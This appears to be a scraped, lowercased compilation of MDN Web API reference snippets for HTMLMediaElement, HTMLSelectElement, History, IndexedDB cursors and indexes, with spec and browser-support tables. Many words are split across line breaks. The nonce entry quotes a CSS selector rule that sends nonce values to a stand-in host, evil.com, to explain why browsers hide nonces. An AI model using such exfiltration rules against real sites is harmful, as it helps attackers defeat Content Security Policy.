HTMLMediaElement.sinkId - Web APIs
the htmlmediaelement.sinkid read-only property returns a domstring that is the unique id of the audio de
vice delivering output.
...this id should be one of the mediade
viceinfo.de
viceid values returned from mediade
vices.enumeratede
vices(), id-multimedia, or id-communications.
... syntax var sinkid = htmlmediaelement.sinkid specifications specification status comment audio output de
vices apithe definition of 'sinkid' in that specification.
HTMLMediaElement.src - Web APIs
note: the best way to know the url of the media resource currently in active use in this element is to look at the value of the currentsrc attribute, which also takes into account selection of a best or preferred media resource from a list pro
vided in an htmlsourceelement (which represents a <source> element).
... example var obj = document.createelement('
video'); console.log(obj.src); // "" specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.src' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement.src' in that specification.
HTMLMediaElement.volume - Web APIs
syntax var volume =
video.volume; //1 value a double values must fall between 0 and 1, where 0 is effectively muted and 1 is the loudest possible value.
... example var obj = document.createelement('audio'); console.log(obj.volume); // 1 obj.volume = 0.75; specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.volume' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.volume' in that specification.
HTMLMenuItemElement - Web APIs
the htmlmenuitemelement interface pro
vides special properties (beyond those defined on the regular htmlelement interface it also has available to it by inheritance) for manipulating <menuitem> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... recommendation snapshot of the html li
ving standard.
HTMLMetaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111...
... specifications specification status comment html li
ving standardthe definition of 'htmlmetaelement' in that specification.
... li
ving standard html5the definition of 'htmlmetaelement' in that specification.
HTMLObjectElement.setCustomValidity - Web APIs
ng) { input.setcustomvalidity('you gotta fill this out, yo!'); input.reportvalidity(); } else if (input.rangeunderflow) { input.setcustomvalidity('we need a higher number!'); input.reportvalidity(); } else if (input.rangeoverflow) { input.setcustomvalidity('thats too high!'); input.reportvalidity(); } else { input.setcustomvalidity(''); input.reportvalidity(); } } it's
vital to set the message to an empty string if there are no errors.
... specifications specification status comment html li
ving standardthe definition of 'setcustomvalidity' in that specification.
... li
ving standard initial definition.
HTMLOptionsCollection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlcollection" target="_top"><rect x="1" y="1" width="140" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlcollection</text></a><polyline poi...
... specifications specification status comment html li
ving standardthe definition of 'htmloptionscollection' in that specification.
... li
ving standard ...
HTMLOrForeignElement.nonce - Web APIs
examples retrie
ving a nonce value in the past, not all browsers supported the nonce idl attribute, so a workaround is to try to use getattribute as a fallback: let nonce = script['nonce'] || script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned).
... nonce hiding helps preventing that attackers exfiltrate nonce data
via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://e
vil.com/nonce?whatever"); } specifications specification html li
ving standardthe definition of 'nonce' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnoncechrome full support 61edge full support 79firefox full support 75ie no support noopera full support yessafari full support 10web
view andro...
HTMLOrForeignElement - Web APIs
propertiesdataset read only the dataset read-only property of the htmlorforeignelement interface pro
vides read/write access to all the custom data attributes (data-*) set on the element.nonce the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed.tabindexthe tabindex property of the htmlorforeignelement interface represents the tab order of the current...
... specifications specification status comment html li
ving standardthe definition of 'htmlorforeignelement' in that specification.
... li
ving standard initial definition.
HTMLPictureElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" st...
... specifications specification status comment html li
ving standardthe definition of 'htmlpictureelement' in that specification.
... li
ving standard initial definition ...
HTMLPreElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
... specifications specification status comment html li
ving standardthe definition of 'htmlpreelement' in that specification.
... li
ving standard html5the definition of 'htmllielement' in that specification.
HTMLSelectElement.add() - Web APIs
glist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </select> and changes it to: <select id="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> <option value="2">option: value 2</option> </select> */ specifications specification status comment html li
ving standardthe definition of 'htmlselectelement.add()' in that specification.
... li
ving standard html5the definition of 'htmlselectelement.add()' in that specification.
... recommendation is a snapshot of html li
ving standard.
HTMLSelectElement.autofocus - Web APIs
setting it after the insertion, that is most of the time after the document load, has no
visible effect.
...autofocus aselectelement.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>option 2</option> </select> javascript // check if the autofocus attribute on the <select> var hasautofocus = document.getelementbyid('myselect').autofocus; specifications specification status comment html li
ving standardthe definition of 'autofocus' in that specification.
... li
ving standard html 5.2the definition of 'autofocus' in that specification.
HTMLSelectElement.checkValidity() - Web APIs
syntax var result = selectelt.checkvalidity(); specifications specification status comment html li
ving standardthe definition of 'htmlselectelement.checkvalidity()' in that specification.
... li
ving standard no change since the latest snapshot, html5.
... recommendation initial definition, snapshot of html li
ving standard ...
HTMLSelectElement.disabled - Web APIs
r allowdrinkscheckbox = document.getelementbyid("allow-drinks"); var drinkselect = document.getelementbyid("drink-select"); allowdrinkscheckbox.addeventlistener("change", function(event) { if (event.target.checked) { drinkselect.disabled = false; } else { drinkselect.disabled = true; } }, false); result specifications specification status comment html li
ving standardthe definition of 'disabled' in that specification.
... li
ving standard html5the definition of 'htmlselectelement' in that specification.
... recommendation initial definition, snapshot of html li
ving standard.
HTMLSelectElement.form - Web APIs
the below code gives all select elements in a particular form a css class of "selectclass": <script type="text/javascript"> var form_element = document.getelementbyid('subscribe_form'); var
vist = form_element.style; if (
vist.display=='' ||
vist.display=='none') {
vist.display = 'block'; } else {
vist.display = 'none'; } </script> specifications specification status comment html li
ving standardthe definition of 'form' in that specification.
... li
ving standard html5the definition of 'htmlselectelement' in that specification.
... recommendation initial definition, snapshot of html li
ving standard.
HTMLSelectElement.item() - Web APIs
examples html <form> <select id="myformcontrol" type="textarea"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript // returns the htmloptionelement representing #o2 elem1 = document.forms[0]['myformcontrol'][1]; specifications specification status comment html li
ving standardthe definition of 'htmlselectelement.item()' in that specification.
... li
ving standard no change since the latest snapshot, html5.
... recommendation initial definition, snapshot of html li
ving standard ...
HTMLSelectElement.namedItem() - Web APIs
example html <form> <select id="myformcontrol"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript elem1 = document.forms[0]['myformcontrol']['o1']; // returns the htmloptionelement representing #o1 specifications specification status comment html li
ving standardthe definition of 'htmlselectelement.nameditem()' in that specification.
... li
ving standard no change since the latest snapshot, html5.
... recommendation initial definition, snapshot of html li
ving standard ...
HTMLSelectElement.remove() - Web APIs
value="1">option: value 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> and changes it to: <select id="existinglist" name="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> </select> */ specifications specification status comment html li
ving standardthe definition of 'htmlselectelement.remove()' in that specification.
... li
ving standard html5the definition of 'htmlselectelement.remove()' in that specification.
... recommendation is a snapshot of html li
ving standard.
HTMLSelectElement.selectedIndex - Web APIs
select> javascript var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status comment html li
ving standardthe definition of 'htmlselectelement' in that specification.
... li
ving standard no change since the latest snapshot, html5.
... recommendation initial definition, snapshot of html li
ving standard.
HTMLSelectElement.setCustomValidity() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmlselectelement.setcustomvalidity()' in that specification.
... li
ving standard no change since the latest snapshot, html5.
... recommendation initial definition, snapshot of html li
ving standard ...
HTMLSelectElement.type - Web APIs
example switch (select.type) { case 'select-multiple': // multiple values may be selected break; case 'select-one': // only one value may be selected break; default: // non-standard value (or this isn't a select element) } specifications specification status comment html li
ving standardthe definition of 'htmlselectelement' in that specification.
... li
ving standard no change from html5, the latest snapshot.
... recommendation is a snapshot of html li
ving standard.
HTMLSlotElement.assignedNodes() - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps ha
ving its contents changed in the example.
... specifications specification status comment html li
ving standardthe definition of 'assignednodes' in that specification.
... li
ving standard ...
HTMLSlotElement - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps ha
ving its contents changed in the example.
... specifications specification status comment html li
ving standardthe definition of 'htmlslotelement' in that specification.
... li
ving standard ...
HTMLSpanElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="11...
... specifications specification status comment html li
ving standardthe definition of 'htmlspanelement' in that specification.
... li
ving standard html 5.2the definition of 'htmlspanelement' in that specification.
HTMLTableCaptionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
... specifications specification status comment html li
ving standardthe definition of 'htmltablecaptionelement' in that specification.
... li
ving standard no change from html5.
HTMLTemplateElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... specifications specification status comment html li
ving standardthe definition of 'htmltemplateelement interface' in that specification.
... li
ving standard html5the definition of 'htmltemplateelement interface' in that specification.
HTMLTitleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 ...
... specifications specification status comment html li
ving standardthe definition of 'htmltitleelement' in that specification.
... li
ving standard html 5.1the definition of 'htmltitleelement' in that specification.
HTMLTrackElement: cuechange event - Web APIs
if the track is associated with a media element, using the <track> element as a child of the <audio> or <
video> element, the cuechange event is also sent to the htmltrackelement.
...ntbyid("texttrack"); texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); specifications specification status html li
ving standardthe definition of 'cuechange' in that specification.
... li
ving standard ...
HTMLUnknownElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
... specifications specification status comment html li
ving standardthe definition of 'htmlunknownelement' in that specification.
... li
ving standard no change from html5.
msStereo3DRenderMode - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... syntax html
videoelement.msstereo3drendermode(mono, stereo); value the following values set the stereo display to mono or stereo.
... see also html
videoelement microsoft api extensions ...
HashChangeEvent.newURL - Web APIs
the newurl read-only property of the hashchangeevent interface returns the new url to which the window is na
vigating.
... example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.newurl); }); specifications specification status comment html li
ving standardthe definition of 'hashchangeevent: newurl' in that specification.
... li
ving standard ...
HashChangeEvent.oldURL - Web APIs
the oldurl read-only property of the hashchangeevent interface returns the pre
vious url from which the window was na
vigated.
... example window.addeventlistener('hashchange', function(event) { console.log('hash changed from ' + event.oldurl); }); specifications specification status comment html li
ving standardthe definition of 'hashchangeevent: oldurl' in that specification.
... li
ving standard ...
History.go() - Web APIs
add a listener for the popstate event in order to determine when the na
vigation has completed.
...the equivalent of calling back()): history.go(-1) to move forward a page, just like calling forward(): history.go(1) to move forward two pages: history.go(2); to move backwards by two pages: history.go(-2); and, finally either of the following statements will reload the current page: history.go(); history.go(0); specifications specification status comment html li
ving standardthe definition of 'history.go()' in that specification.
... li
ving standard no change from html5.
History.replaceState() - Web APIs
suppose now that the user na
vigates to https://www.microsoft.com, then clicks the back button.
... specifications specification status comment html li
ving standardthe definition of 'history.replacestate()' in that specification.
... li
ving standard no change from html5.
History.state - Web APIs
this is a way to look at the state without ha
ving to wait for a popstate event.
...console.log(`history.state after pushstate: ${history.state}`); specificationse specification status comment html li
ving standardthe definition of 'history.state' in that specification.
... li
ving standard html5the definition of 'history.state' in that specification.
IDBCursor.advance() - Web APIs
for a complete working example, see our idbcursor example (
view example live.) function advanceresult() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetadvancechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBCursor.continue() - Web APIs
for a complete working example, see our idbcursor example (
view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cur...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontinuechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBCursor.delete() - Web APIs
for a complete working example, see our idbcursor example (
view example live.) function deleteresult() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], 'readwrite'); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { if(cursor.value.albumtitle === 'grace under pressure') { var request = curs...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeletechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBCursor.direction - Web APIs
for a complete working example, see our idbcursor example (
view example live.) function backwards() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], 'readonly'); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor(null,'prev').onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirectionchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefo...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBCursor.primaryKey - Web APIs
for a complete working example, see our idbcursor example (
view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cur...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprimarykeychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBCursor.source - Web APIs
for a complete working example, see our idbcursor example (
view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cur...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBCursor.update() - Web APIs
for a complete working example, see our idbcursor example (
view example live.) function updateresult() { list.innerhtml = ''; const transaction = db.transaction(['rushalbumlist'], 'readwrite'); const objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { const cursor = event.target.result; if (cursor) { if (cursor.value.albumtitle === 'a farewell to kings') { const updat...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupdatechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBCursorWithValue.value - Web APIs
for a complete working example, see our idbcursor example (
view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cur...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvaluechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBDatabase.deleteObjectStore() - Web APIs
has been deleted or removed.) in firefox pre
vious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror you are trying to delete an object store that does not exist.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeleteobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBDatabase.name - Web APIs
for a full example, see our to-do notifications app (
view example live).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBDatabaseException - Web APIs
data_err 5 data pro
vided to an operation does not meet requirements.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbdatabaseexception deprecatednon-standardchrome full support 12prefixed full support 12prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixe...
...d full support ≤79prefixed prefixed implemented with the vendor prefix: webkitfirefox no support 4 — 14ie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android no support 4 — 14opera android no support nosafari ios no support nosamsung internet android no support nol...
IDBIndex.keyPath - Web APIs
for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.keypath); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeypathchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBIndex.multiEntry - Web APIs
for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.multientry); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmultientrychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBIndex.objectStore - Web APIs
for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.objectstore); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) {...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12fire...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBIndex.openKeyCursor() - Web APIs
dataerror the key or key range pro
vided contains an invalid key.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopenkeycursorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12fi...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBIndex.unique - Web APIs
for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.unique); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetuniquechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBKeyRange.bound() - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at the idbkeyrange directory in the indexeddb-examples repo (
view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'...
